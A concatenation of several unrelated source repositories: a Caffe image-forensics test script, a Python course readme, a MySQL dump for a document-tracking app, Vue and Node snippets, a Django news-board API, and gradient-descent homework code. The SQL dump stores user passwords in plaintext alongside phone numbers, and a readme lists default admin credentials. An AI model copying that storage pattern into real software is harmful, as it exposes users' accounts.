imTrans = img.transpose(1,2,0)
imtemp = abs(np.fft.fftshift(np.fft.fft2(imTrans)))
imiTrans = imtemp.transpose(2,0,1)
top[0].data[i,...] = imiTrans
def backward(self, top, propagate_down, bottom):
pass<file_sep>/test_model_result/confuse_rsbr_jpeg8090/img_testing.py
# -*- coding: utf-8 -*-
"""
Created on Sun Jan 20 16:37:34 2019
@author: Administrator
"""
#coding=utf-8
import caffe
import os
import numpy as np
root='D:/software/caffe/examples/forensics/confuse_rsbr_jpeg8090/' #根目录
deploy=root + 'deploy.prototxt' #deploy文件
caffe_model=root + 'Net_iter_984000.caffemodel' #训练好的 caffemodel
#labels_filename = root + 'labels.txt' #类别名称文件,将数字标签转换回类别名称
caffe.set_mode_gpu()
net = caffe.Net(deploy,caffe_model,caffe.TEST) #加载model和network
#图片预处理设置
transformer = caffe.io.Transformer({'data': net.blobs['data'].data.shape}) #设定图片的shape格式(1,3,64,64)
transformer.set_transpose('data', (2,0,1)) #改变维度的顺序,由原始图片(64,64,3)变为(3,64,64)
#transformer.set_mean('data', np.load(mean_file).mean(1).mean(1)) #减去均值,前面训练模型时没有减均值,这儿就不用
#transformer.set_raw_scale('data', 255) # 缩放到【0,255】之间
transformer.set_channel_swap('data', (2,1,0)) #交换通道,将图片由RGB变为BGR
#结果保存路径
fresult = open('boss_confuse_rsbr_jpeg8090.txt','w')
#获取测试图像的路径
firstfolder = 'F:/boss/confuse_rsbr_jpeg8090/'
folderList = os.listdir(firstfolder)
for foldern in folderList:
imgList = []
if os.path.isdir(firstfolder+foldern):
result = np.zeros(5,dtype=np.int)
imgName = os.listdir(firstfolder+foldern)
for imgn in imgName:
imgFullName = os.path.join(firstfolder+foldern+'/'+imgn)
imgList.append(imgFullName)
for imgInd in imgList:
im=caffe.io.load_image(imgInd) #加载图片
net.blobs['data'].data[...] = transformer.preprocess('data',im) #执行上面设置的图片预处理操作,并将图片载入到blob中
#执行测试
out = net.forward()
#labels = np.loadtxt(labels_filename, str, delimiter='\t') #读取类别名称文件
prob= net.blobs['prob'].data[0].flatten() #取出最后一层(Softmax)属于某个类别的概率值,并打印
predictlabel = prob.argsort()[-1]
print 'processing: '+imgInd+', the predict label is: '+str(predictlabel)
result[predictlabel] = result[predictlabel] + 1
for i in range(0,len(result)):
fresult.write(str(result[i])+'\t')
fresult.write('\n')
fresult.close() | f823e585e900080e7a088fa96b505b13c7fb1271 | [
"Markdown",
"Python"
] | 6 | Python | kide-li/image-operator-chain-detection | bbc67dc3c7b2efaee1c300cff10598c4019f4ec6 | ad64d28dcf5bfc68c389c59c720557c52a565310 |
refs/heads/master | <repo_name>mark-andrews/pyin01<file_sep>/recordings.md
For the attendees of the workshop held from November 18 to November 19, 2020, the video recordings are available on Vimeo.
These are password protected, and you will have been given this password in the workshop.
# Day 1
* [Session 1: 12pm to 2pm](https://vimeo.com/480853777)
* [Session 2: 3pm to 5pm](https://vimeo.com/480858765)
* [Session 3: 6pm to 8pm](https://vimeo.com/480938294)
# Day 2
* [Session 1: 12pm to 2pm](https://vimeo.com/481251216)
* [Session 2: 3pm to 5pm](https://vimeo.com/481328230)
* [Session 3: 6pm to 8pm](https://vimeo.com/481423740)
<file_sep>/readme.md
# Introduction to Python and Programming in Python
Python is one of the most widely used and highly valued programming languages
in the world, and is especially widely used in data science, machine learning,
and in other scientific computing applications. In order to use Python
confidently and competently for these applications, it is necessary to have a
solid foundation in the fundamentals of general purpose Python. This two day
course provides a general introduction to the Python environment, the Python
language, and general purpose programming in Python. We cover how to install
and set up a Python computing environment, describing how to set virtual
environments, how to use Python package installers, and overview some Python
integrated development environments (IDE) and Python Jupyter notebooks. We then
provide a comprehensive introduction to programming in Python, covering all the
following major topics: data types and data container types, conditionals,
iterations, functional programming, object oriented programming, modules,
packages, and imports. Note that in this course, we will not be covering
numerical and scientific programming in Python directly. That is provided in a
subsequent two-day course, for which the topics covered in this course are a
necessary prerequisite.
## Intended Audience
This course is aimed at anyone who is interested in learning the fundamentals
of Python generally and especially for ultimately using Python for data science
and scientific applications. Although these applications are not covered
directly here, but are covered in a subsequent course, the fundamentals taught
here are vital for master data science and scientific applications of Python.
## Teaching Format
This course will be hands-on and workshop based. Throughout each day, there
will be some brief introductory remarks for each new topic, introducing and
explaining key concepts.
The course will take place online using Zoom. On each day, the live video broadcasts will occur between (UK local time, GMT, UTC+1, timezone) at:
* 12pm-2pm
* 3pm-5pm
* 6pm-8pm
All sessions will be video recorded and made available to all attendees as soon as possible, hopefully soon after each 2hr session.
Attendees in different time zones will be able to join in to some of these live broadcasts, even if all of them are not convenient times.
By joining any live sessions that are possible, this will allow attendees to benefit from asking questions and having discussions, rather than just watching prerecorded sessions.
Although not strictly required, using a large monitor or preferably even a second monitor will make the learning experience better.
All the sessions will be video recorded, and made available immediately on a private video hosting website. Any materials, such as slides, data sets, etc., will be shared via GitHub.
## Assumed quantitative knowledge
No particular knowledge of mathematics or statistics is required.
## Assumed computer background
No prior experience with Python or any other programming language is required.
Of course, any familiarity with any other programming will be helpful, but is not
required.
## Equipment and software requirements
Attendees of the course must use a computer with Python (version 3) installed.
All the required software, including Python itself, the development and
programming environment tools, and the Python packages, are free and open
source and are available on Windows, MacOs, and Linux.
Instructions on how to install and configure all the software are [provided here](software.md).
We will also provide time during the workshops to ensure that all software is installed and configured properly.
# Course programme
## Day 1
* Topic 1: *Installing and setting up Python*. There are many ways to write and
execute code in Python. Which to use depends on personal preference and the
type of programming that is being done. Here, we will explore some of the
commonly used Integrated Development Environments (IDE) for Python, which
include *Spyder* and *PyCharm*. Here, we will also introduce
`Jupyter` notebooks, which are widely used for scientific applications of
Python, and are an excellent tool for doing reproducible interactive work. Also as part of this
topic, we will describe how to use *virtual environments* and package
installers such as *pip* and *conda*.
* Topic 2: *Data Structures*. We will begin our
coverage of programming with Python by introducing its different data
structures.and operations on data structures This will begin with the
elementary data types such as integers, floats, Booleans, and strings,
and the common operations that can be applied to these data types.
We will then proceed to the so-called *collection* data structures,
which primarily include lists, dictionaries, tuples, and sets.
* Topic 3: *Programming I*. Having introduced Python's data types, we will now
turn to how to program in Python. We will begin with iteration, such as the
`for` and `while` loops. Here, we also cover some of Python's functional
programming features, specifically list, dictionary, and set comprehensions.
## Day 2
* Topic 4: *Programming II*. Having covered iterations, we now turn to other
major programming features in Python, specifically, conditionals,
functions, and exceptions.
* Topic 5: *Object Oriented Programming*. Python is an object oriented language
and object oriented programming in Python is extensively used in anything
beyond the very simplest types of programs. Moreover, compared to other
languages, object oriented programming in Python is relatively easy to learn.
Here, we provide a comprehensive introduction to object oriented programming
in Python.
* Topic 6: *Modules, packages, and imports*. Python is extended by hundreds of
thousands of additional packages. Here, we will cover how to install and
import these packages, but more importantly, we will show how to write our own
modules and packages, which is remarkably easy in Python relative to some
programming languages.
<file_sep>/notebooks/analysispkg/analysis.py
"""
This modules provides a number of important functions.
This code is free and open source software, distributed by the
GNU Public Licence (GPL 3.0).
Copyright: <NAME>, 2020
"""
x = [1, 2, 3, 4, 5]
y = dict(a = 1, b = 2, c = 3)
whoami = '<NAME>'
class Person:
"""
This class is a person object.
"""
def __init__(self, name):
'Initialize instance and assign name'
self.name = name
def greeting(self):
'Return a greeting'
print('Hello ' + self.name.capitalize())
def power(x, k = 3):
"""
This function raises a value to the power of another
value.
"""
return x ** k
def square_root(x):
"""
Return the square root of a number.
"""
return x ** 0.5
if __name__ == "__main__":
y = power(2)
print(y)
| 79d42e5dbc066afcc9363652712ef860da30517c | [
"Markdown",
"Python"
] | 3 | Markdown | mark-andrews/pyin01 | ddabbee7504157839637c44c5ed750989fbda36f | f41b8c472cd0558525a7a7ea16895777cabe483d |
refs/heads/master | <file_sep>-- phpMyAdmin SQL Dump
-- version 4.8.5
-- https://www.phpmyadmin.net/
--
-- Servidor: 127.0.0.1
-- Tiempo de generación: 08-07-2020 a las 04:57:54
-- Versión del servidor: 10.1.40-MariaDB
-- Versión de PHP: 7.3.5
SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
SET AUTOCOMMIT = 0;
START TRANSACTION;
SET time_zone = "+00:00";
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8mb4 */;
--
-- Base de datos: `seguimiento`
--
-- --------------------------------------------------------
--
-- Estructura de tabla para la tabla `historia`
--
CREATE TABLE `historia` (
`idhistoria` int(11) NOT NULL,
`idtramite` int(11) NOT NULL,
`estado` varchar(150) NOT NULL,
`lugar` varchar(150) NOT NULL,
`iduser` int(11) NOT NULL,
`fecha` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
`detalle` varchar(150) NOT NULL,
`personal` varchar(150) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;
--
-- Volcado de datos para la tabla `historia`
--
INSERT INTO `historia` (`idhistoria`, `idtramite`, `estado`, `lugar`, `iduser`, `fecha`, `detalle`, `personal`) VALUES
(1, 1, 'ENTREGADO', 'VENTANILLA UNICA', 1, '2020-07-07 17:10:05', 'se entregoi a la secretaria ', ''),
(3, 1, 'ENTREGADO', 'VEHICULOS', 1, '2020-07-07 17:14:39', 'se entrego a ester', ''),
(4, 5, 'ENTREAGDO', 'VENTANILLA UNICA', 3, '2020-07-08 00:31:46', 'tobo bien', '<NAME>'),
(16, 5, 'ENTREAGDO', 'VEHICULOS', 3, '2020-07-08 00:42:33', '', ''),
(17, 5, 'ENTREAGDO', 'VENTANILLA UNICA', 3, '2020-07-08 00:43:23', '', ''),
(18, 5, 'ENTREAGDO', 'VEHICULOS', 3, '2020-07-08 00:45:11', '', '<NAME>'),
(19, 5, 'ENTREAGDO', 'VENTANILLA UNICA', 3, '2020-07-08 00:51:02', '', '<NAME>');
-- --------------------------------------------------------
--
-- Estructura de tabla para la tabla `tramite`
--
CREATE TABLE `tramite` (
`idtramite` int(11) NOT NULL,
`ci` varchar(150) NOT NULL,
`asunto` varchar(150) NOT NULL,
`nombre` varchar(150) NOT NULL,
`fecha` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
`idusuario` int(11) NOT NULL,
`numero` varchar(150) NOT NULL,
`estado` varchar(150) NOT NULL DEFAULT 'CREADO'
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;
--
-- Volcado de datos para la tabla `tramite`
--
INSERT INTO `tramite` (`idtramite`, `ci`, `asunto`, `nombre`, `fecha`, `idusuario`, `numero`, `estado`) VALUES
(1, '7336199', 'Cambio nombre vehiculos', '<NAME>', '2020-07-07 13:47:20', 1, '20200', 'CREADO'),
(3, '323125456', 'cambiuo de funete', '<NAME>', '2020-07-07 14:10:51', 1, '3030', 'CREADO'),
(4, '123456789', 'CAMBIO NOMBRE NOMBRE', '<NAME>', '2020-07-07 17:58:48', 1, '5050', 'CREADO'),
(5, '7336199', 'CAMBIO DE PLACAS', '<NAME>', '2020-07-08 00:31:31', 3, '3636', 'CREADO');
-- --------------------------------------------------------
--
-- Estructura de tabla para la tabla `users`
--
CREATE TABLE `users` (
`iduser` int(11) NOT NULL,
`nombre` varchar(150) NOT NULL,
`clave` varchar(150) NOT NULL,
`unidad` varchar(150) NOT NULL,
`tipo` varchar(150) NOT NULL DEFAULT 'RECEPCIONISTA',
`fecha` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
`nombrecompleto` varchar(150) NOT NULL,
`celular` varchar(150) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;
--
-- Volcado de datos para la tabla `users`
--
INSERT INTO `users` (`iduser`, `nombre`, `clave`, `unidad`, `tipo`, `fecha`, `nombrecompleto`, `celular`) VALUES
(1, 'admin', '1010', 'VENTANILLA UNICA', 'ADMIN', '2020-07-07 13:15:11', '<NAME>', '69603027'),
(2, 'jose', '', 'INMUEBLES', 'RECEPCIONISTA', '2020-07-08 00:16:20', '<NAME>', '69603027'),
(3, 'maria', '123', 'VEHICULOS', 'RECEPCIONISTA', '2020-07-08 00:18:12', '<NAME>', '69603027');
--
-- Índices para tablas volcadas
--
--
-- Indices de la tabla `historia`
--
ALTER TABLE `historia`
ADD PRIMARY KEY (`idhistoria`),
ADD KEY `idtramite` (`idtramite`),
ADD KEY `iduser` (`iduser`);
--
-- Indices de la tabla `tramite`
--
ALTER TABLE `tramite`
ADD PRIMARY KEY (`idtramite`),
ADD KEY `tramite_ibfk_1` (`idusuario`);
--
-- Indices de la tabla `users`
--
ALTER TABLE `users`
ADD PRIMARY KEY (`iduser`);
--
-- AUTO_INCREMENT de las tablas volcadas
--
--
-- AUTO_INCREMENT de la tabla `historia`
--
ALTER TABLE `historia`
MODIFY `idhistoria` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=20;
--
-- AUTO_INCREMENT de la tabla `tramite`
--
ALTER TABLE `tramite`
MODIFY `idtramite` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=6;
--
-- AUTO_INCREMENT de la tabla `users`
--
ALTER TABLE `users`
MODIFY `iduser` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=4;
--
-- Restricciones para tablas volcadas
--
--
-- Filtros para la tabla `historia`
--
ALTER TABLE `historia`
ADD CONSTRAINT `historia_ibfk_1` FOREIGN KEY (`idtramite`) REFERENCES `tramite` (`idtramite`),
ADD CONSTRAINT `historia_ibfk_2` FOREIGN KEY (`iduser`) REFERENCES `users` (`iduser`);
--
-- Filtros para la tabla `tramite`
--
ALTER TABLE `tramite`
ADD CONSTRAINT `tramite_ibfk_1` FOREIGN KEY (`idusuario`) REFERENCES `users` (`iduser`);
COMMIT;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
| dfd23aecb3ceffb660b4cdcb09a2c565a78a6727 | [
"SQL"
] | 1 | SQL | adimerpaul/seguimi | 51814f24de44681661cfdd4c353cc3625834bcca | debce9d4541ec4dfa97ed94651c6600c9df53f9a |
refs/heads/master | <repo_name>SRomanenkoUA/BackEnd<file_sep>/db.js
/**
*
* @type {oracledb}
*/
const db = require('oracle12db-win64')
const script = async () => {
const pool = await db.createPool({
user: 'BRAVO',
password: 'b',
connectString: 'ORCL'
})
const conn = await pool.getConnection()
const results = await conn.execute('select * from tst') /** 'select * from tst' */
console.log(results.rows)
await conn.close()
await pool.terminate()
}
script()<file_sep>/js/readCSVFile.js
/*
Формат файла *.scv
Параметр; значение
*/
// Открытие (парсинг *.scv) файла через окно выбора
let col = []; // Виртуальный массив с считываемыми параметрами
var openFile = function () {
var input = document.createElement('input');
input.type = 'file';
input.onchange = function () {
//console.log(this.files[0]) //this.value - полный путь к файлу
var filereader = new FileReader();
filereader.onload = function (info) {
//console.log(info) // информация о файле
text.innerHTML = info.target.result.toString().replace(/\n/g,'<br>').replace(/ /g,' ');
processData(info.target.result.toString());
};
filereader.onerror = function () {
alert("Не возможно открыть файл");
};
filereader.readAsText(this.files[0]);
}
input.click();
}
// Открытие (парсинг *.scv) файла через указание точного имени
function getFileAsText(fileToRead) {
let reader = FileReader();
reader.readAsText(fileToRead);
reader.onload = loadHandler;
}
function loadHandler() {
let csv = event.target.result.toString();
processData(csv);
}
// Разбираю файл
function processData(csv) {
let allTextLines = csv.split(/\r\n|\n/);
for (var i = 0; i < allTextLines.length; i++){
let row = allTextLines[i].split(';');
col[i] =[];
if (row.length>0){
for (let j=0; j<row.length; j++){
col[i][j]=row[j];
if (j>0){
console.log(col[i][0].toString()
+ row[j].toString()
+ j.toString());
}
}
}
}
}<file_sep>/strings/index-ru.js
/**
* Created by SRomanenkoUA on 07.09.2017.
*/
const strings = {
mainCommand : 'Главная комманда',
secondCommand : 'следующая клмманда'
}
module.exports = strings<file_sep>/js/readJSON.js
var fss = require('fs');
const configFile = 'table.json';
var configApp = JSON.parse(fss.readFileSync(configFile, 'utf8'));
this.TDT = "Тестовое приложение руками";//configApp.applicationName.toString();
//console.log(configApp.applicationName);<file_sep>/js/login.js
const TDT='sdfdsfsd sdf';
new Vue ({
el:"#app",
data: {
loginName: '',
pass: "",
showuser: true,
showpass: false,
showmenu:true,
testData2: "Petrov"
},
methods: {
onEnterPass: function () {
console.log('Вошел пользователь: ' + this.loginName + ' с паролем: ' + this.pass)
},
onEnterUser: function () {
if (this.loginName.length<1)
{
this.showuser = true;
this.showpass = false
}
}
},
computed:{
appName: function () {
return TDT //'Конфигуратор системы'
},
nameLenght: function () {
return this.loginName.length
},
passLenght: function () {
return this.pass.length
}
}
}),
new Vue ({
el: "#Next",
data: {
loginName: '<NAME>',
pass: "",
showuser: true,
showpass: false,
showmenu: true,
testData2: "Petrov"
}
}) | d8beb038b8081dc202bbb81486e117b797a9b9e5 | [
"JavaScript"
] | 5 | JavaScript | SRomanenkoUA/BackEnd | f6c3763960271a7e4635df72f153d1fab893c816 | 0ddd60fd169e7cc06ec456918389c1204f42493b |
refs/heads/master | <file_sep>from rest_framework import serializers
from .models import Comment, Post, PostImage
class CommentSerializer(serializers.ModelSerializer):
class Meta:
model = Comment
fields = ["id", "author_name", "content", "creation_date"]
def create(self, validated_data):
validated_data.update(
{"post": Post.objects.get(id=self.context["view"].kwargs["pk"])}
)
return super().create(validated_data)
class PostImageSerializer(serializers.ModelSerializer):
class Meta:
model = PostImage
fields = ["image"]
class PostSerializer(serializers.ModelSerializer):
upvotes = serializers.IntegerField(source="upvotes.count", read_only=True)
image = serializers.ListField(required=False, write_only=True)
images = PostImageSerializer(required=False, many=True, read_only=True)
class Meta:
model = Post
fields = [
"id",
"author_name",
"title",
"body",
"upvotes",
"creation_date",
"images",
"image",
]
def create(self, validated_data: dict):
images = validated_data.pop("image", None)
post = super().create(validated_data)
if images is not None:
for image in images:
post.images.create(image=image)
return post
<file_sep>from django.conf import settings
from django.conf.urls.static import static
from django.contrib import admin
from django.urls import include, path
from drf_yasg import openapi
from drf_yasg.views import get_schema_view
from rest_framework import permissions
schema_view = get_schema_view(
openapi.Info(
title="DevelopsToday newsboard backend",
default_version="v1",
description="This is DevelopsToday's test task",
contact=openapi.Contact(url="https://telegram.me/t2elzeth"),
),
public=True,
permission_classes=(permissions.AllowAny,),
)
urlpatterns = [
path("admin/", admin.site.urls),
path(
"",
schema_view.with_ui("swagger", cache_timeout=0),
name="schema-swagger-ui",
),
path("api/v1/news/", include("news.urls")),
]
urlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)
<file_sep>#!/bin/bash
python manage.py makemigrations --no-input
python manage.py migrate --no-input
python manage.py collectstatic --no-input
python manage.py initadmin
python manage.py runjobs
gunicorn "$DJANGO_SETTINGS_FOLDER".wsgi<file_sep>from rest_framework import mixins, viewsets
from rest_framework.decorators import action
from .models import Comment, Post, Upvote
from .serializers import CommentSerializer, PostSerializer
class PostViewSet(viewsets.ModelViewSet):
"""CRUD to manage posts"""
queryset = Post.objects.all()
serializer_class = PostSerializer
@action(methods=["post"], detail=True)
def upvote(self, request, pk):
"""Upvote specific post"""
Upvote.objects.create(post=self.get_object())
return self.retrieve(request, pk)
@upvote.mapping.delete
def delete_upvote(self, request, pk):
"""Downvote specific post"""
upvote = Upvote.objects.last()
if upvote is not None:
upvote.delete()
return self.retrieve(request, pk)
@action(methods=["post"], detail=True, serializer_class=CommentSerializer)
def comment(self, request, pk):
"""Leave comment on specific post"""
return self.create(request, pk)
class CommentViewSet(
mixins.ListModelMixin,
mixins.RetrieveModelMixin,
mixins.UpdateModelMixin,
mixins.DestroyModelMixin,
viewsets.GenericViewSet,
):
"""ViewSet to retrieve, update, patch and delete comments"""
queryset = Comment.objects.all()
serializer_class = CommentSerializer
<file_sep># Generated by Django 3.2.4 on 2021-06-16 06:13
import django.db.models.deletion
from django.db import migrations, models
class Migration(migrations.Migration):
initial = True
dependencies = []
operations = [
migrations.CreateModel(
name="Post",
fields=[
(
"id",
models.BigAutoField(
auto_created=True,
primary_key=True,
serialize=False,
verbose_name="ID",
),
),
("author_name", models.CharField(max_length=255)),
("title", models.CharField(max_length=255)),
("body", models.TextField()),
("creation_date", models.DateTimeField(auto_now_add=True)),
],
),
migrations.CreateModel(
name="Upvote",
fields=[
(
"id",
models.BigAutoField(
auto_created=True,
primary_key=True,
serialize=False,
verbose_name="ID",
),
),
(
"post",
models.ForeignKey(
on_delete=django.db.models.deletion.CASCADE,
related_name="upvotes",
to="news.post",
),
),
],
),
migrations.CreateModel(
name="Comment",
fields=[
(
"id",
models.BigAutoField(
auto_created=True,
primary_key=True,
serialize=False,
verbose_name="ID",
),
),
("author_name", models.CharField(max_length=255)),
("content", models.TextField()),
("creation_date", models.DateTimeField(auto_now_add=True)),
(
"post",
models.ForeignKey(
on_delete=django.db.models.deletion.CASCADE,
related_name="comments",
to="news.post",
),
),
],
),
]
<file_sep>from rest_framework import routers
from .views import CommentViewSet, PostViewSet
router = routers.DefaultRouter()
router.register("posts", PostViewSet)
router.register("comments", CommentViewSet)
urlpatterns = router.urls
<file_sep>from django_extensions.management.jobs import DailyJob
from news.models import Upvote
class Job(DailyJob):
help = "Job that resets upvotes once a day"
def execute(self):
Upvote.objects.all().delete()
<file_sep>[tool.poetry]
name = "DevelopsTodayNewsBoard"
version = "0.1.0"
description = "DevelopsToday stage #2 test task"
authors = ["<NAME> <<EMAIL>>"]
[tool.poetry.dependencies]
python = "^3.9"
Django = "^3.2.4"
djangorestframework = "^3.12.4"
psycopg2-binary = "^2.8.6"
Pillow = "^8.2.0"
django-extensions = "^3.1.3"
[tool.poetry.dev-dependencies]
isort = "^5.8.0"
flake8 = "^3.9.2"
black = "^21.6b0"
drf-yasg = "^1.20.0"
autoflake = "^1.4"
[build-system]
requires = ["poetry-core>=1.0.0"]
build-backend = "poetry.core.masonry.api"
[tool.black]
color = true
exclude = 'env/'
line_length = 79
[tool.isort]
skip_gitignore = true
[tool.autoflake]
remove_unused_variables = true
remove_all_unused_imports = true<file_sep>from django.contrib import admin
from .models import Comment, Post, PostImage, Upvote
class CommentInline(admin.StackedInline):
model = Comment
extra = 0
class PostImageInline(admin.StackedInline):
model = PostImage
extra = 0
class UpvoteInline(admin.StackedInline):
model = Upvote
extra = 0
@admin.register(Post)
class PostAdmin(admin.ModelAdmin):
def upvotes(self, obj):
return obj.upvotes.count()
readonly_fields = ["id", "creation_date", "upvotes"]
fieldsets = (
(
None,
{
"fields": (
"id",
"creation_date",
"upvotes",
"author_name",
"title",
"body",
)
},
),
)
list_filter = [
"creation_date",
]
inlines = [PostImageInline, CommentInline, UpvoteInline]
<file_sep>## DevelopsToday NewsBoard TestTask
First we must create `.env` file:
```
echo "PROJECT_NAME=DevelopsTodayTestTask" > .env
```
Then run `docker-compose`:
```
sudo docker-compose up --build -d
```
Now you can access the API on `http://localhost:8920/`
### Admin panel
```
Username: admin
Password: <PASSWORD>
```
### Additional
Run ```./manage.py runjobs -l``` to see the job that runs once a day and resets upvotes
Link to PostmanCollectionsDocs: https://documenter.getpostman.com/view/13600661/TzeWFnLv<file_sep>django-extensions==3.1.3
drf-yasg==1.20.0
pillow==8.2.0
psycopg2-binary==2.8.6
<file_sep>from django.db import models
class Post(models.Model):
author_name = models.CharField(max_length=255)
title = models.CharField(max_length=255)
body = models.TextField()
creation_date = models.DateTimeField(auto_now_add=True)
def __str__(self):
return f"Post #{self.title[:20]} by {self.author_name}"
class Comment(models.Model):
post = models.ForeignKey(
Post, on_delete=models.CASCADE, related_name="comments"
)
author_name = models.CharField(max_length=255)
content = models.TextField()
creation_date = models.DateTimeField(auto_now_add=True)
def __str__(self):
return f"Comment on post#{self.post.id} by {self.author_name}"
class PostImage(models.Model):
post = models.ForeignKey(
Post, on_delete=models.CASCADE, related_name="images"
)
image = models.ImageField()
def __str__(self):
return f"Image #{self.id} for post#{self.post.id}"
class Upvote(models.Model):
post = models.ForeignKey(
Post, on_delete=models.CASCADE, related_name="upvotes"
)
def __str__(self):
return f"Upvote for post#{self.post.id}"
| 92eeb46d520d33bb36b7788035376abdcb9bee3e | [
"TOML",
"Markdown",
"Python",
"Text",
"Shell"
] | 12 | Python | t2elzeth/DevelopsTodayNewsBoardTestTask | d2cfcd62f1513103ee7860f095caf335733074df | 17a735f499023b0cdee16d880dc95d139924868c |
refs/heads/master | <file_sep>import unittest
import homework1 as hw1
import gradDesc as gd
import numpy as np
# X is an array of N data points (one dimensional for now), that is, NX1
# Y is a Nx1 column vector of data values
# order is the order of the highest order polynomial in the basis functions
class testHomework1(unittest.TestCase):
def test_designMatrix(self):
# X, order
return 0
def test_regressionFit(self):
#(X, Y, phi):
""" Compute the weight vector """
""" w_ML = (phiT phi)^-1 phiT """
return 0
def test_computeSEE(self):
order = 2
[X,Y] = hw1.getData('curvefitting.txt')
phi_matrix = hw1.designMatrix(X,order)
weights = hw1.regressionFit(X,Y,phi_matrix)
hw1.computeSEE(X,Y,weights,order)
def test_ridge_regression(self):
return 0
def test_run_ridge_find_lambda(self):
print hw1.run_ridge_find_lambda()
def test_compare_derivative(self):
""" Verify the gradient using the numerical derivative code """
""" Part of question 2.2 """
order = 4
[X,Y] = hw1.getData('curvefitting.txt')
Phi_matrix=hw1.designMatrix(X,order)
#print Phi_matrix.shape
weight_vector=hw1.regressionFit(X,Y,Phi_matrix)
SSEG=hw1.computeSEEGrad(X,Y,weight_vector,order)
approx = gd.gradient_approx_SEE(X, Y, weight_vector, order, 1e-10)
true_deriv = hw1.computeSEEGrad(X,Y, weight_vector, order)
print "COMPARE approx", approx
print "TRUE ", true_deriv
# TODO- Smaller test cases
if __name__ == '__main__':
unittest.main()
<file_sep>from __future__ import print_function
import numpy as np
import homework1 as hw1
import sympy
import math
from scipy.optimize import fmin_bfgs
def Finite_Diff(F, X, h):
'''Calculates the finite difference equivalent of the gradient of the function in X'''
'''using spacing h'''
FDiff=np.zeros_like(X)
for n in range(0, len (X)):
direction_vector=np.zeros_like(X)
direction_vector[n]=1
F_xhr= F(X+0.5*h*direction_vector)
F_xhl= F(X-0.5*h*direction_vector)
print (str(F_xhr)+' '+str(F_xhl))
FDiff[n]=(F_xhr- F_xhl)/h
return (FDiff)
def QuadBowl(X):
'''Quadratic bowl function without summing elements'''
return (X.T*X)
def sumQuadBowl(X):
'''Quadratic bowl function including sum of elements'''
return (np.sum(X.T*X))
def sumQuadBowlGrad(X):
'''The analytical gradient of the function'''
Grad=np.zeros_like(X)
Grad[0]=2*X[0]
Grad[1]=2*X[1]
return Grad
def nonConvexFunction(X):
'''A non-convex function (3x^4-8x^3+5x^2+y^2) to test gradient descent'''
x=X[0]
y=0
if len(X)>1:
y=X[1]
return (3*pow(x,4)-8*pow(x,3)+5*(x**2)+y**2)
def nonConvexFunctionGrad(X):
'''The gradrient of the nonConvexFunction defined above'''
Grad=np.zeros_like(X)
Grad[0]=12*(X[0]**3)-24*(X[0]**2)+10*X[0]
Grad[1]=2*X[1]
return Grad
def numGradDescent(F, X_0, step, threshold, spacing, analytical=False, QuadBowl=True , iterations=0):
'''looks for the minimum of function F using the gradient descent method starting '''
''' in X_0, using the step for next X if the threshold in no attained, evaluating '''
'''the gradient numerically '''
F_X0=F(X_0)
print ('F('+str(X_0)+')='+str(F_X0))
if (analytical and QuadBowl):
gradF_X0=sumQuadBowlGrad(X_0)
print ('Analytical Grad: ',end=' ')
print (gradF_X0)
elif (analytical and not QuadBowl):
gradF_X0=nonConvexFunctionGrad(X_0)
print ('Analytical Grad: ',end=' ')
print (gradF_X0)
else:
gradF_X0=Finite_Diff(F, X_0,spacing)
print ('Finite Diff Grad: ',end=' ')
print (gradF_X0)
X_1=np.array(X_0-step*gradF_X0)
F_X1=F(X_1)
if abs(F_X0-F_X1)<threshold:
print (abs(F_X0-F_X1))
print ('\nDescent terminated\nCurrent function value: ', end='')
print (F_X1)
print ('Iterations: '+str(iterations+1)+'\t\t Function evaluations: '+str((iterations+1)*4))
print ('Last Grad: ', end='')
print (gradF_X0)
return (F_X1)
return numGradDescent(F,X_1,step, threshold, spacing, analytical,QuadBowl, (iterations+1))
if __name__ == '__main__':
X=np.array([0.0,0.0])
step= 0.25
thresh=0.001
sp=0.5
# print (sumQuadBowl(X))
print ('Calculating the gradient of Quad Bowl in '+str(X))
print ('Finite difference with spacing '+str(sp))
print (Finite_Diff(sumQuadBowl,X,sp))
print ('Anaytical Gradient:')
print (sumQuadBowlGrad(X))
print ('\nCalculating the gradient of non-convex function in '+str(X))
print ('Finite difference with spacing '+str(sp))
print (Finite_Diff(nonConvexFunction,X,sp))
print ('Anaytical Gradient:')
print (nonConvexFunctionGrad(X))
# print (fmin_bfgs(sumQuadBowl, X))
# print ('\nQuad Bowl Gradient Descent')
# print ('Initial Guess'+ str(X)+'\t\t Step: '+str(step))
# print ('Threshold: '+str(thresh)+'\t\t Spacing: '+str(sp))
# numGradDescent(sumQuadBowl,X,step,thresh, sp, True, True)
# print ('\nNon-Convex Function gradient descent')
# Y=np.array([0,2])
# print (Finite_Diff(nonConvexFunction,Y,sp))
# print ('Analytical Grad: '+str(nonConvexFunctionGrad(Y)))
# F_Y=nonConvexFunction(Y)
# print ('X= '+str(Y)+'\t\t F(X)= '+str(F_Y))
# print ('Initial Guess'+ str(Y)+'\t\t Step: '+str(step))
# print ('Threshold: '+str(thresh)+'\t\t Spacing: '+str(sp))
# numGradDescent(nonConvexFunction,Y,step,thresh, sp, True, False)
<file_sep>import numpy as np
import unittest
import gradDesc as gd
import homework1 as hw1
class testGradDesc(unittest.TestCase):
def test_init(self):
